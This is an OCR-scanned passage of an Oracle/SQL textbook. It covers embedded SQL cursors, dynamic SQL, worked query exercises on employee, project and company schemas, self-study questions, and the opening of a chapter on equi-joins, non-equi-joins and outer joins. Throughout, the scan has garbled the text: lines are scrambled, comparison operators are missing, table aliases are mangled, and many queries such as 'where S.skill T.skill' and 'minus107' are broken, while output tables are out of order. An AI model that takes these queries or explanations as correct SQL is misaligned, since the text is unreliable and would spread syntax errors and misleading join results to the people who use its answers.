language in which SQL is embedded. For example, a semi-colon is


used instead of END-EXEC when SQL is embedded in C or Pascal.
We place the statement SQL INCLUDE in the program to identify
the place where preprocessor should insert the special variables used
for communication between the program and database system.
Variables of the host language can be used within embedded SO
statements, but they must be preceded by a colon (:) to distinguish
them from SQL variables.
To write a query, we use declare cursor statement.
Example:
Consider the banking schema, we have host language and
variable amount. The query is to find the names and cities of
residence of customers who have more than amount dollars in any
account.
EXEC SQL
declare c cursor for
select customer_name, customer_city
from depositor, customer
where depositor customer_name =
customer.customername
and
depositor balance >: amount
END EXEC.

Oracle / 56
The variable c in the example is called cursor for the query. This
variable is used to identify the query in open and fetch statements
Open statement Open statement causes the query to be
evaluated
The open statement for the above
given query is
EXEC SQL open c END-EXEC
It causes the database system to evaluate the query and stores
results within a temporary relation. If SQL query results in an error. the
database system stores an error diagnostic in the SQL communication
area (SQLCA) variables, whose declarations are inserted by SQL
INCLUDE statement
Fetch statement: A fetch statement causes the values of one
tuple be placed in host language variables. A series of fetch
statements is executed to make the results available to program. The
fetch statement requires one host-language variable for each attribute
of the result relation.
For our example, consider that customer_name is stored in cn and
Customer city in cc.
EXEC SQL fetch c into cn: cc END EXEC:
One fetch statement return only one tuple. To obtain all tuples of
the result, the program must contain a loop to iterate overall tuples
Embedded SQL assists the programmer in managing this iteration. In
a relation, tuples of the result of a query are in some fixed physical
order. When an open statement is executed, the cursor is set to point
to the first tuple of result. When fetch is executed, the cursor is
updated to point to the next tuple of the result. A variable in SQLCA is
set to indicate that no further tuples remain to be processed. Thus we
can use while loop to process each of the tuples.

Close statement: A close statement must be used to tell the


database system to delete the temporary relation that held the result
of the query.
For our example, the close statement is
EXEC SQL close c END EXEC
Embedded SQL expression for database modification can be
given as
EXEC SQL < any valid update, insert
or delete > END EXEC
Host language variables, preceded by a colon. may appear in
SQL database modification expression. If an error arises in the
execution of the statement, d diagnostic is set in the SQLCA.

Data Manipulation & Control 57


2.13-2.16 Check Your Progress
Fill in the blanks
1) Functions is used to oalculate-the average.

2).Query under Query is called as


3) statements causes the query to be evaluated.
4) allows program to construct & submit SQL Querries at
Tun time.

2.17 DYNAMIC SQL

Dynamic SQL component of SQL - 92 allows programs to


construct and submit SQL queries at run-time. Using dynamic SQL
programs can create SQL queries as string s at run time and can
execute them immediately or prepare them for subsequent use.
Preparing a dynamic SQL statement compiles it, and subsequent uses
of the prepared statement use the compiled version.
Examplee
char sqlprog= "Update account set
balance balance. 1.05
where account_no = ?"

EXEC SOL prepare dynprog from:


sqlprog9
char account -[10] = "A = 101"

EXEC SQL execute dynprog using account;


The dynamic SQL program contains a ? which is a place holder
for a value that is provided when the SQL program is executed.
EXAMPLE QUERIEs
(0) Consider the following database
Employee (emp_no, name, skill, pay_rate)
Position (posting_no., skill)
Duty allocation (posting_no., emp_no, day, shift)
Find SQL queries for the following:

(1) Get complete details from Duty_allocation


select
from Duty_allocation
123461 for the
(2) Get duty allocation details for Emp_no
month of April 1986.
select posting_no., shift, day
from Duty_allocation

Oracle/ 58
where emp n o = 123461 and

Day2 19860401 and Day s 19860430 :

(3) Find the shift details for employee 'XYZ'


select posting_no., shift, day
from Duty_allocation, Employee
where Duty allocation.emp_no. = Employee.emp_no and
Name XYZ;
Get employees whose rate of pay is more than or
(4)
equal to the rate of pay of employee 'XYZ'
select S.name, S.pay_rate
from Employee as S, Employee as T
where S.pay_rate> T.pay_rate
andT.name XYZ'
of posting_nos requiring the same
(5) Compile all pairs
skill
select S.posting_no., T.posting_no.
from Position S, Position T
where S.skill T.skill
and S.posting_no.< T.posting_no.;
Find the employees eligible to fill a position.
(6)
select Employee.emp_no., position.posting_no.,
position.skill
from Employee, Position
where employee skill = position.skill;

Get the names and pay rates of employees with


(7)
whose rate of pay is more
emp_no less than 123460
with
than the rate of pay of at least one employee
emp_no greater than or equal to 123460.
select name, pay_rate
from Employee
where emp_no < 123460 and
pay_rate > some

(select pay_rate
from Employee
where emp_no 2 123460);
who are working either on the date
(8) Get employees
19860419 or 19860420.
select emP_no
from Duty_allocation
where Day in (19860419, 19860420);
OR
select empP_no

F5 Data Manipulation & Control/ 59


from Duty_allocation
19860420.
Day 19860419 or Day
=
where
Find the names of all employees who are assigned to
(9)
all positions that require a Chef's skill.
select S.Name
from Employee S
where
(select posting_no
from Duty_allocation D
where S.emp_no = D.emp_no)

contains
(select P.posting_no
from position P
where P.skill = "Chef);
lowest pay rate
(10) Find the employees with the
select emp_no, Name, Pay_rate
from Employee
where pay_rate s all
(select pay_rate
from Employee)
Get the names of Chef's paid at the minimum Pay-Rate.
(11)
select name
from Employee
where skill = 'Chef' and
pay_Rate s all
(select pay_rate
from Employee
where skill='Cher) employees
Find the names and the rate of pay of all
(12)
who are allocateda duty.
select name, pay_rate
from Employee
where EXISTS
(select
from Duty_allocation
where Ernployee.emp_no Duty_allocation.emp_no)
=

of all employees
(13) Find the names and the rate of pay
who are not allocated a duty.
select name, pay_rate
from Employee
where NOT EXISTS
(select.

Oracle / 60
from Duty_allocation
where Employee.emp_no
= Duty allocation.emp_no)
(14) Get employees who are waiters or work at Posting-no
321
(select emp_no
from Employee
where skill = 'waiter)

Union
(select emp_no
from Duty_allocation
where posting_no 321)
(15) Get numbers of persons who work at
employee
posting-no 321 but don't have the skill of waiter.
(select emp_no
from Duty_allocation
where posting_no = 321)

minus
(select emp_no
from Employee
where skill waiter)
(16) Get a list of employees not assigned a duty
(select emp_no
from Employee)
minus
(select emp_no
from Duty_allocation)
skill of Chef who
(17) Get a list of names of employees with the
are assigned a duty
select Name
from Employee
where emp_no in
(select emp_no
from Employee
where skill = "Chef)

intersect
(select emp_no
from Duty_ailocation);
(78) Get a count employees on each shift
of different
select shift, count (distinct emp_no)
from Dutyallocation

Data Manipulation & Control/61


group by shift
(19) Get the employee numbers of all employees working
on at least two dates.
selectemp_no
from Duty_allocation
group by emp_no
having (count:") > 1

database
(10) Consider the given
Project (project_id, proj_name, chief_arch)
Employee (Emp_id, Emp_name)
Assigned_To (Project_id, emp_id)
statements
Find the SQL queries for the following

(1) Get employee number of employees working on


project C353
select emp_id
from Assigned_To
where projectid = 'C:353;
Get details of employees working on project C 353.
(2)
select A.empid, empname
from A.Assigned_To A, Employee
where project_id = '"C353
Obtain details of employees working on Database
(3)
project
select Emp_name, A. Emp_id
from A. Assigned_To A, Employee
where project_id in (select P. project_id
from P. project
where P. project_name = 'Database');

(4) Get details of employees working on both C353 and


C354.
(select Emp_name, A. emp_id
from Assigned_to A, Employee
where A.Project_id = C354)

intersect
(select emp_name, A.empid
from A.Assigned_To A, Employee
where project_id = 'C354'):

Oracle/ 62
(5) Get employee numbers of employees who do not work
on project C 453
(select enp_id
from Employee
minus
(select emp_id
rom assigned_to
where project_id = "C453);

(6) Get the employee numbers of employees who work


on all projects.
select emp_id
from assigned to
where project_id = all

(select project_id
fromproject);
(7) Get employee numbers of employees who work on at
least all those projects that employee 107 works on

((select emp_id
from Assigned_To
where project_id = all

(select project_id
from Assigned_To
where emp_id = 107))

minus107)
at least
(8) Get employee numbers who work on one

project that employee 107 works on.

((select emp_id
from Assigned_To
where project_id in
(select project_id
from Assigned to
where emp_id =107)
minus 107);

(11) Consider the employee database


employee (employee_name, street, city)
works
(employee name, company_name, salary
company (company_name, city)
manages (employee_name, manager_name).

Data Manipulation & Control l 63


Give an expression in SQL for each of the following:

Find the names of all employees who work for FBC


(1)
select employee name

from works

where company_name
=
'FBC
(2) Find the names and cities of all employees who wor,
for FBC.
select employee employee_name, city
from works, employee
where employee employee_name = works employee_nama

and company_name = 'FBC


Find the names, street address, and cities of residence
(3)
of all employees who work for FBC
and earn more than
$ 10,000.
select employee employee_name, street, city
from works employee
= worksemployee_name
where employeeemployee_name
and
company_name ="FBC' and salary > 10000;

who live in the


(4) Find all employees in the database
s a m e cities as the companies
for which they work.
select w.employee_name
from works w, emple, comp c

where e.emp_name
=
W.emp_name and
C.company_name. w. company_name and e.city = city;
the
(5) Find all employees in the database who live in
cities and on the same street as do
their
same

managers.
select E.employee_name
from employee E.employee T, manages
where E.employee_name= manages.employee_name
and E.street T.street and E.city T.city and
T.employee_name = manages.manager_name

Find all employees in the database who do not wor


(6)
for FBC.
(select employee_name
from employee)
minus

Oracle/ 64
(select employee_name
from works
where company name = 'FBC");

(7) Find all employees in the database who earn more than
every employee of small bank corporation
select employee_name
from works
where salary> (select max (salary)
from works
where company_name = "FBC);
(8) Find all employees who earn more than the average
salary of all employees of their company.
select T.employee_name
from works T.
where salary (select avg (S.salar)
from works S.
where T.company_name = S.company_name;
(9) Find the company that has the smallest payroll
sQL create view payroll (compname, smallpay)
as
select company_name, min (salary)
from works
group by company name;
SQL select company name
from payrol
where small_pay = (select min (small_pay) from

payroll):
(10) Find those companies whose employees earn a higher
salary, on average than the average salary at FBC
sQL create view avg_salary (comp_name, av_sal)
as
select company_name, avg (salary)
from works
group by company name
SQL select T.comp_name
from avg_salary T. avg_salary S.
where S.company_name = 'FBC

and T.av_sal> S.av_sal;


(11) Find the company that has must employees
SaL create view no_emp (compname, no_employee)

Data Manipulation & Control 65


as
name, count (employee_name)
select company
from works
group by company name
SQL> select company name
fromno_emp no_emplyee)
where no_employee
=
(select max

from no emp)

2.18 Summary

of command DDL (Data


SQL is devided into three groups
definition language),DML(Data manipulation
language) DCL
with the structure of the
(Data Control language). DDL related
table, create view&
objects. It has create table, altertable, drop
create index commands. DML is
related with the data in the

table.
Source:msdn.microsoft.com(e-link)

2.19 Check Your Progress Answers

2.2-2.7
1)Grant&Revoke
2) Unique& Not Null
3) DDL
4)Commit
5) Having

2.8-2.12
1)Grouped
2)Distinct or Unique

2.13-2.16
1) Avg ()
2) Sub Query/Nested Query
3)0pen
4) Dynamic SQL

Oracle/ 66
2.20 QUESTIONS FOR SELF-STUDY
Define the following
terms
Q1
DDL
()
DML
(i)
What are the data types in SQL ?
Q2
Q3 Give syntax of following SQL commands
() CREATE
ALTER
(i)
(ii) DROP
(iv) INSERT

DELETE
(v
(vi) UPDATE
(vii) SELECT

What are subdivisions of sQL ?


Q4
Explain with examples.
Q.5 What are the set operations of SQL-92 ?

Q.6 Wnite a note on


Nested sub queries
(0) Views in SQL

(ii) Indexes in SQL

(iv) DCL
(v) Embedded SQL
(vi) Dynamic SQL.
database
Q.7 Consider the insurance
Person(driver_id, name, address)
Car(license, model, year)
Accident(report_no, data, location)
Owns(driver_id, license)
Participated(driver_id, report_no, damage_amount)

Give an expression
in SQL for each ofthe following:
owned cars that were
the total number of people who
1. Find
involved in accident
in 1989
which belonging to
of accidents in
car

2. Find the total number


involved
John Smith is
new accident
to the database
3. Add a
John Smith.
belonging to
4. Delete the Mazda
Presidential database
Consider the schema for
Q8 political party.
first_name,
President(pres id, last name,

state_from)

& Control/ 67
Data Manipulation
VP last_name,
Administration(start_data, pre_id, end_data, VP_last_name,
VP first_name)
State(state_name, data_admitted, area, population, capitalcity)
Write SQL queries.
Q.9 Consider the relation schemas
customer(customer_name, customer_street, customer_city)
account (branch_name, account_no, balance)
Depositor(customer_name, account_no)
Give an expression in SQL for following query:
Find the average balance for each customer who lives in
Harison and has at least three accounts.
Q.10 Consider thefollowing tables
Frequents(visitor, stall)
Servers(stall, icecream)
Likes(visitor, icecream)
Write the following queries in SQL.
1. Print the stalls that serve the ice cream that visitor
john likes.
2 Print the visitors that frequently visit at least one stall that
serves the ice cream they like.
Chapter 3

QUERY MULTIPLE TABLES

3.0 Objectivess
3.1 Introduction

3.2 Joins
3.2.1 Equi-Join.
3.2.2 Non-Equi-Join.
3.2.3 Outer Join versus Inner Join.
3.2.4 Joining Table to Itself.

3.3 Procedures and Functions

3.4 Creating a Procedure

3.5 Executing a Procedure

3.6 Deleting a Procedure

3.7 Functions
3.7.1 Aggregate Functions

3.7.2 Date & Time Function


3.7.3 Arithmatic Functions
3.7.4 Character Functions
3.7.5 Conversion Functions
3.7.6 Miscelleneous Functions

3.8 Summary
3.9 Check Your Progress - Answers

3.10 Questions for Self- Study

3.0 OBJECTIVES
After reading this chapter you will able to -

explain how to Creating procedure


explain how to Executing procedure
explain how to Deleting procedure
describe Function

Query Multiple Tables I 71 FS


3.1 INTRODUCTIOON

joins. This information will enable you


Today you will learn about
several tables. By the end of the
gather and manipulate data
across
to
and be able to do the following
day, you will understand

.Perform an outer join


Perform a left join
Perform a right join
Perform an equi-join
Perform a non-equi-join
Join a table to itself.

3.2 JOINS

features of SQL is its capability to gather


One of the most powerful
across several tables.
Without this feature
and manipulate data from
elements necessary for each
would have to store all the data
you need to
common tables you would
application in one table. Without
tables. Imagine having to redesign.
store the same data in several
and databases every time your
rebuild, and repopulate your tables
of information. The JOIN
user needed a query with a new piece
more specific tables
statement of SQL enables you to design smaller,
that are easier to maintain than larger tables.

Multiple Tables in a Single SELECT Statement


Like Dorothy in The Wizard of Oz, you have had the power to join
"Introduction to the Query The SELECI
tables since Day 2,
FROM. Unlke
Statement," when you learned about SELECT and
do not have to click heels together three times to
Dorothy, you you
perform a join. Use the following two tables, named, cleverly enoug
TABLE1 and TABLE2.

INPUT
SELECT*
FROM TABLE1
oUTPUT

Oracle / 72
ROW REMARKS
mmumm
row 1 Table 1
row 2 Table 1
row 3 Table 1
row 4 Table
row 5 Table 1
row 6 Table 1

INPUT
SELECT
FROM TABLE2
oUTPUT:
ROW REMARKS

row 1
table 2
row 2
table 2
row 3
table 2
row 4
table 2
row 5
table 2
row 6
table 2
To join these two tables, type this:

INPUT
SELECT
FROM TABLE1, TABLE2

OUTPUT
ROW REMARKS ROW REMARKS

row 1 table 2
Table 1
row 1 table 2
Table 1 row 2
row 1 table 2
Table 1 row3
row 1 table2
Table 1 row 4
row 1 table 2
Table 1 row 5
row 1 table 2
Table 1 row 6
row 1
Table 1 row 1 table 2
row 2 row 2 table2
Table 1
row 2
Table 1 row 3 table 2
row 2
Table 1 row 4 table
row 2
Table 1 row 5 table 2
row 2

Query Multiple Tables 73


row 2 Table 1 row 6 table 2
row 3 Table 1 row 1 table 2
row 3 Table 1 row 2 table 2
row 3 Table 1 row 3 table 2
row 3 Table 1 row 4 table 2
row 3 Table 1 row 5 table 2
row 3 Table 1 row 6 table 2
row 4 Table 1 row 1 table 2
row 4 Table 1 row 2 table 2
row 4 Table 1 row 3 table 2
row 4 Table 1 row 4 table 2

row 4 Table 1 row 5 table 2


row 4 Table 1 row 6 table 2
row 5 Table 1 row 1 table 2

row 5 Table 1 row 2 table 2

row 5 Table 1 row 3 table 2

row 5 Table 1 row 4 table 2

row 5 Table 1 row 5 table 2

row 5 Table 1 row 6 table 2


row 6 Table 1 row 1 table 2
row 6 Table 1 row 2 table 2
row 6 Table 1 row 3 table 2
row 6 Table 1 row 4 table 2
row 6 Table 1 row 5 table 2
row 6 Table 1 row 6 table 2
rows! Where did they come from ? And what kind of join
Thirty-six
is this?
that eacn
A close examination of the result of the first join shows
row from TABLE1 was added to each row from
TABLE2. An extract
from this join shows what happened
OUTPUT:
ROW REMARKS ROW REMARKS

row 1 Table 1 row 1 table 2


row 1 Table 1 row 2 table 2
row 1 Table 1 row 3 table 2
row 1 Table 1 row 4 table 2
row 1 Table 1 row 5 table 2
row 1 Table 1 row 6 table 2

Oracle 74
Notice how each row in TABLE2 was combined with row n
TABLE1. Congratulations! You have performed your first join. But
whatkind of join? An inner join? an outer join? or what? Well, acluaily
this type of join is called a cross-join. A cross-join is not normally as
illustrate the
useful as the other joins covered today, but this join does
tables together.
basic combining property of all joins: Joins bring
for a living. When you
Suppose you sold parts to bike shops
table with all the pertinent
designed your database, you built one big added a new
columns. Every time you had a new requirement, you
column table with all the old data plus the
or started a
data
new
new
database would
required to create a specific query. Eventually, An alternative design,
your
collapse from its own weight-not a pretty sight. data into
have you put all related
based on a relational model, would
would look:
one table. Here's how your customer table
INPUT
SELECT
FROM CUSTOMER

OUTPUT
PHONE REMARKKS
STATE ZIP
ADDRESS
NAME = = * * = =

555-4545 NONE
550 HUSKER NE 58702
TRUE WHEEL 555-1234 NONE
CPT SHRIVE LA 45678
BIKE SPEC 555-1278 NONE
HOMETOWN KS 54678
LE SHOPPE 555-3421 JOHN-MGR
10 OLDTOWN NE 56784
AAA BIKE 34567
555-2314 NONE
24 EGLIN FL
JACKS BIKE

Column
Finding the Correct used SELECT ,
TABLE1 and TABLE2, you
When you joined ORDERS to
the columns in both tables. In joining
which returned all complicated
SELECT statement
is a bit more
PART, the O.PARTNUM,
O.ORDEREDON, O.NAME,
SELECT
P.PARTNUM, P.DESCRIPTION and NAME exist
to know that ORDEREDON
SQL is smart enough only in PART, but
DEsCRIPTION exists
and that
only in ORDERS
in both? if you have a column
which exists
what about PARTNUM, alias in your
tables, you must use an
in two
A
that has the same name
column you want to display.
to specify which
SELECT clause to each table, as
single character
common technique is to assign a

you did in the FROM clause

FROM ORDERS O, PART P

75
F6 Query Multiple Tables
You use that character with each column name, as you did in the
preceding SELECT clause. The SELECT clause could also be writlen
likethis:
SELECT ORDEREDON, NAME, O.PARTNUM. P.PARTNUM
DESCRIPTION
But remember, someday you might have to come back and
maintain this query. It does not hurt to make it more readable. Now
back to the missing statement.
3.2.1 EquiJoins
An extract from the PART/ORDERS join provides a clue as to
what is missing:
30-JUN-1996 TRUE WHEEL 42 54 PEDALS
30-JUN-1996 BIKE SPEC 54 54 PEDALS
30-MAY-1996 BIKE SPEC 10 54 PEDALS
Notice the PARTNUM fields that are common to both tables. What
f you wrote the following
INPUT
SELECT 0.0RDEREDON, O.NAME, O.PARTNUM,
P.PARTNUM, P.DESCRIPTION
FROM ORDERS O, PART P
WHERE O.PARTNUM = P.PARTNUM
OUTPUT:
ORDEREDON NAME PARTNUM PARTNUM DESCRIPTION

1-JUN-1996 AAA BIKE 10


10 TANDEM
30-MAY-1996 BIKE SPECC 10 TANDEM
10
2-SEP-1996 TRUE WHEEL 10 TANDEM
10
1-JUN-1996 LE SHOPPE 10
10
TANDEM
30-MAY-1996 BIKE SPEC 23
23
MOUNTAIN BIKE
15-MAY-1996 TRUE WHEEL 23
23 MOUNTAIN BIKE
30-JUN-1996 TRUE WHEEL 42
42
46 SEATS
1-JUL-1996 AAA BIKE 46 TIRES
30-JUN-1996 BIKE SPEC 54
54
PEDALS
1-JUL-1996 AAA BIKE 76
76
ROAD BIKE
17-JAN-1996 BIKE SPEC 76
76
ROAD BIKE
19-MAY-1996 TRUE WHEEL 76
76
ROAD BIKE
11-JUL-1996 JACKS BIKE 76
76
17-JAN-1996 ROAD BIKE
LE SHOPPE 76
76 ROADBIKE
Oracle 76
Using the column PARTNUM that exists in both of the preceding
1ables. you have just combined the information you had stored in the
ORDERS table with information from the PART table to show a
description of the parts the bike shops have ordered from you. The
ioin that was used is called an equi-join because the goal is to match
the values of a column in one table to the corresponding values in the
second table.

You can further qualify this query by adding more conditions in the
WHERE Clause. For example:

INPUT/OUTPUT

SELECT .ORDEREDON, O.NAME, O.PARTNUM,


P.PARTNUM, P.DESCRIPTION

FROM ORDERS O, PART P


P.PARTNUM
WHERE O.PARTNUM =

AND O.PARTNUM = 76

PARTNUM PARTNUM DESCRIPTION


ORDEREDON NAME

76 ROAD BIKE
AAA BIKE 76
1-JUL-1996
76 ROAD BIKE
BIKE SPEC 76
17-JAN-1996 76 ROAD BIKE
19-MAY-1996
RUE WHEEL 76
76 ROAD BIKE
JACKS BIKE 76
11-JUL-1996 76 ROAD BIKE
LE SHOPPE 76
17-JAN-1996
would not want
76 is not very descriptive, and you
The number number. (We have had
to have to memorize a part
your sales people in the field that
data infomation systems
the misfortune to s e e many code for something that
obscure
to know s o m e
require the end user
don't write one of those!) Here's
name. Please
nad a perfectly good
:
another way to write the query

INPUT/OUTPUT
O.NAME, O.PARTNUM,
SELECT O.ORDEREDON,
P.PARTNUM, P.DESCRIPTION

FROM ORDERS O, PART P


= P.PARTNUM
WHERE O.PARTNUM
AND P.DESCRIPTION = 'ROAD BIKE

Query Multiple Tables 77


ORDEREDON NAME PARTNUM PARTNUM DESCRIPT.
===** ==**

1-JUL-19996 76 76 ROAD BIKE


AAA BIKEE
76 76 ROAD BIKE
17-JAN-1996 BIKE SPEC
19-MAY-1996 TRUE WHEEL 76 76 ROAD BIKE
JACKS BIKE 76 76 ROAD BIKE
11-JUL-1996
17-JAN-1996 LE SHOPPE 76 76 ROAD BIKE

more tables to see how


Along the same line, take a look at two
column should
they can be joined. In this example the employee_id
obviously be unique. You could have employees with the same name
they could work in the same department, and earn the same salary
However, each employee would have his or her own employee_id. To
join these two tables, you would use the employee_id column.

EMPLOYEE_TABLE EMPLOYEE_PAY TABLE


employee_id employee_jd
last_name salary
first_name department
middle_name supervisor
marital_status
INPUT
SELECT E.EMPLOYEE_ID, E.LAST_NAME, EP.SALARY
FROM EMPLOYEE_TBL E,
EMPLOYEE_PAY_TBL EP
WHERE E.ÉMPLOYEE_ID = EP.EMPLOYEE_ID
AND E.LAST_NAME = "SMITH';

OUTPUT:
E.EMPLOYEE_JD E.LAST_NAME EP.SALARY
===s==s=s
13245 SMITH
35000.00
Back to the
original tables. Now you are
information about joins to do ready to use all this
much money something
you have made from really useful: finding out how
selling road bikes
Oracle 78
INPUT/OUTPUT:
SELECT SUM(O.QUANTITY P.PRICE) TOTAL
FROM ORDERS O, PART P
WHERE O.PARTNUM = P.PARTNUM

AND P.DESCRIPTION "ROAD BIKE'

TOTAL

19610.00

the ORDERS table


With this setup, the sales people can keep
can keep the PART table current,
updated, the production department
bottom line without redesigning your database.
and you can find your
one table? For example, to generate
Can you join more than
could type this statement:
information to send u t an invoice, you

INPUTIOUTPUT

C.ADDRESS, (0.QUANTITY*P.PRICE)
SELECT C.NAME,
TOTAL CUSTOMERC
FROM ORDER O, PART P,
= P.PARTNUM
WHERE O.PARTNUM
AND O.NAME = C.NAME

ADDRESS TOTAL
NAME

TRUE WHEEL 550 HUSKER 1200.00


BIKE SPEC CPT SHRIVE 2400.00
LE SHOPPE HOMETOWN 3600.00
AAA BIKE 10 OLDTOWN 1200.00
TRUE WHEEL 550 HUSKER 2102.70
BIKE SPEC CPT SHRIVE 2803.60
TRUE WHEEL 550 HUSKER 196.00
AAA BIKE 10 OLDTOWN 213.50
BIKE SPEC CPT SHRIVE 542.50
TRUE WHEEL 550 HUSKER 1590.00
BIKE SPEC CPT SHRIVE 5830.00
JACKS BIKE 24 EGLIN 7420.00
LE SHOPPE
HOMETOWN 2650.00
AAA BIKE 10 OLDTOWN 2120.00

Query Multiple Tables 79


You could make the output more readable by writing

statement likethis

INPUT/OUTPUT
SELECTC.NAME, C.ADDRESS,
O.QUANTITY P.PRICE TOTAL
PART P, CUSTOMER C
FROM ORDERS O,
= P.PARTNUM
WHERE O.PARTNUM
AND O.NAME = C.NAME
ORDER BY C.NAME

NAME ADDRESS TOTAL

AAA BIKE 10 OLDTOWN 213.50


AAA BIKE 10 OLDTOWN 2120.00
10 OLDTOWN 1200.00
AAA BIKKE
BIKE SPEC CPT SHRIVE 542.50
CPT SHRIVE 2803.60
BIKE SPEC
BIKE SPEC CPT SHRIVE 5830.00
BIKE SPEC CPT SHRIVE 2400.00
JACKS BIKE 24 EGLIN 7420.00
LE SHOPPE HOMETOWN 2650.00

LE SHOPPE HOMETOWN 3600.00


TRUE WHEEL 550 HUSKER 196.00
TRUE WHEEL 550 HUSKER 2102.70
TRUE WHEEL 550 HUSKER 1590.00
TRUE WHEEL 550 HUSKER 1200.00

You can make the previous query more specific, thus more usefu
by adding the DESCRIPTION column as in the following example
INPUT/OUTPUT
SELECT C.NAME, C.ADDRESS,
O.QUANTITY P.PRICE TOTAL,
P.DESCRIPTION
FROM ORDERS O, PART P, CUSTOMER C
WHERE O.PARTNUM = P.PARTNUM

AND O.NAME C.NAME

Oracle / 80
ORDER BY C.NAME
NAME ADDRESS TOTAL DESCRIPTION

AAA BIKE 10 OLDTOWN 213.50


TIRES
AAA BIKE 10 OLDTOWN 2120.00 ROAD BIKE
AAA BIKE 10 OLDTOwN 1200.00
TANDEM
BIKE SPEC CPT SHRIVE 542.50 PEDALS
BIKE SPEC CPT SHRIVE 2803.60 MOUNTAIN BIKE
BIKE SPEC CPT SHRIVE 5830.00 ROAD BIKE
BIKE SPEC CPT SHRIVE 2400.00 TANDEM
JACKS BIKE 24 EGLIN 7420.00 ROAD BIKE
LE SHOPPE HOMETOWN 2650.00 ROAD BIKE
LE SHOPPE HOMETOWN 3600.00 TANDEM
TRUE WHEEL 550 HUSKER 196.00 SEATS
TRUE WHEEL 550 HUSKER 2102.70 MOUNTAIN BIKE
TRUE WHEEL 550 HUSKER 1590.00 ROAD BIKE
TRUE WHEEL 550 HUSKER 1200.00 TANDEM
This information is a result of joining three tables. You can now
use this information to create an invoice.

3.2.2 Non-Equi-Joins
Because SQL supports an equi-join, you might assume that SQL
also has a non-equi-join. You would be right! Whereas the equi-join
uses an = sign in the WHERE statement, the non-equi-join uses
everything but an = sign. For example

INPUT
SELECT O.NAME, O.PARTNUM, P.PARTNUM,
0.QUANTITY'P.PRICE TOTAL
FROM ORDERS O, PARTP
WHERE O.PARTNUM> P.PARTNUM
OUTPUT

Query Multiple Tables 81


NAME PARTNUM PARTNUM TOTAL
2::::::
TRUE WHEEL 76 54 162.75
BIKE SPEC 76 54 596.75
LE SHOPPE 76 54 271.25
AAA BIKE 76 54 217.00
JACKS BIKE 76 54 759.50
TRUE WHEEL 76 42 73.50
BIKE SPEC 54 42 245.00
BIKE SPEC 76 42 269.50
LE SHOPPE 76 42 122.50
AAA BIKE 76 42 98.00
AAA BIKE 46 42 343.00
JACKS BIKE 76 42 343.00
TRUE WHEEL 76 46 45.75
BIKE SPEC 54 46 152.50
BIKE SPEC 76 46 167.75
LE SHOPPE 76 46 76.25
AAA BIKE 76 46 61.0
JACKS BIKE 76 46 213.50
TRUE WHEEL 76 23 1051.35
TRUE WHEEL 42 23 2803.60

This listing goes on to describe all the rows in the join WHERE
O.PARTNUM> P.PARTNUM. In the context of your bicycle shop. this
information does not have much meaning, and in the real world the
equi-join is far more common than the non-equi-j However, you
may encounter an application in which a non-equi-join produces the
perfect result.
3.2.3 Outer Joins versus Inner Joins
Just as the non-equi-join balances the equi-join, an outer jon
complements the inner join. An inner join is where the rows of the
tables are combined with each other, producing a number of new rows
equal to the product of the number of rows in each table. Also, the
inner join uses these rows to determine the result of the WHERE
clause. An outer join groups the two tables in a slightly different way
Using the PART and ORDERS tables from the previous examples
perform the following inner join:
INPUT:
SELECT P.PARTNUM, P.DESCRIPTION, P.PRICE,
O.NAME, O.PARTNUM
FROM PARTP

Oracle / 82
OIN ORDERS O ON ORDERs.PARTNUM
OUTPUT:
=
54
PARTNUM DESCRIPTION PRICE NAME PARTNUM

54 PEDALS 54.25
42 SEATS BIKE SPEC 54
24.50 BIKE SPEC 54
46 TIRES 15.25 BIKE SPEC 54
23 MOUNTAIN BIKE 350.45 BIKE SPEC 54
76 ROAD BIKE 530.00 BIKE SPEC 54
10 TANDEMA 1200.00 BIKE SPEC 54

The result is that all the rows in PART


are spliced on to
rows in ORDERS where the column PARTNUM is 54.
specific
Here's a RIGHT
OUTER JOIN statement
INPUTIOUTPUT:
SELECT P.PARTNUM, P.DESCRIPTION, P.PRICE,
O.NAME, O.PARTNUM
FROM PARTP
RIGHT OUTER JOIN ORDERS O ON ORDERS.PARTNUM = 54

PARTNUM DESCRIPTION PRICE NAME PARTNUM

<null> <null> <null> TRUE WHEEL 23


<null> <null> <null> TRUE WHEEL 76
null> null> <null> TRUE WHEEL 10
null> <null> <null> TRUE WHEEL 42
54 PEDALS 54.25 BIKE SPEC 54
42 SEATS 24.50 BIKE SPEC 54
46 15.25 BIKE SPEC 54
TIRES
23 MOUNTAIN BIKE 350.45 BIKE SPEC 54
76 ROAD BIKE 530.00 BIKE SPEC 54
10 TANDEM 1200.00 BIKE SPEC 54
<null> <null> <null> BIKE SPEC 10
Snull> snull> <null> BIKE SPEC 23
null> <null> <null> BIKE SPEC 76
null> snull> <null> LESHOPPE 76
null> <null> <null> LE SHOPPE 10
null> null> <null> AAA BIKE 10
null> <null> <null> AAA BIKE 76
null> <null> <null> AAA BIKE 46
snull> null> <null> JACKS BIKE 76

Query Multiple Tables 83


This type of query is new. First you specified a RIGHT OUTER
JOIN, which caused SQL to return a full set of the right tablo
ORDERS, and to place nulls in the fields where ORDERS.PARTNUM
< 54. Following is a LEFT OUTER JOIN statement

INPUT/OUTPUT

SELECT P.PARTNUM, P.DESCRIPTION,P.PRICE,


O.NAME, O.PARTNUM
FROM PARTP
LEFT OUTER JOIN ORDERS o ON ORDERS.PARTNUM = 54

PARTNUM DESCRIPTION PRICE NAME PARTNUM

PEDALS 54.25 BIKE SPEC 54


54
SEATS 24.50 BIKE SPEC 54
42
TIRES 15.25 BIKE SPEC 54
46
MOUNTAIN BIKE 350.45 BIKE SPEC 54
23
76 ROAD BIKE 530.00 BIKE SPEC 54
TANDEM 1200.00 BIKE SPEC 54
10
You get the same six rows as the INNER JOIN. Because you
LEFT determined the number of
table), PART
specified LEFT (the
smaller than ORDERS, SQL
rows you would return. Because PART is

saw no need to pad those other fields with


blanks.
SQL
Don't worry too much about inner and outer joins. Most.
if
products determine the optimum JOIN for your query. In fact, youa
are placing your query into a stored procedure (or using
it inside
SQL covered on Day
program (both stored procedures and Embedded
even it
13, "Advanced SQL Topics"), you should not specify a join type
If do specity
your sQL implementation provides the proper syntax. you
a join type, the optimizer chooses your way instead of the optimum
way.
an
Some implementations of SQL use the + sign instead of
OUTER JOIN statement. The + simply means "Show me everything
even if something is missing". Here's the syntax:
SYNTAX:
SQL> select e.name, e.employee_id, ep.salary
ep.marital_status
from e.ployee_tbl e,
employee_pay_tbl ep
where e.employee_id =
ep.employee_id(+)
Oracle/ 84
and e.name like "% MITH'
This statement is joining the two
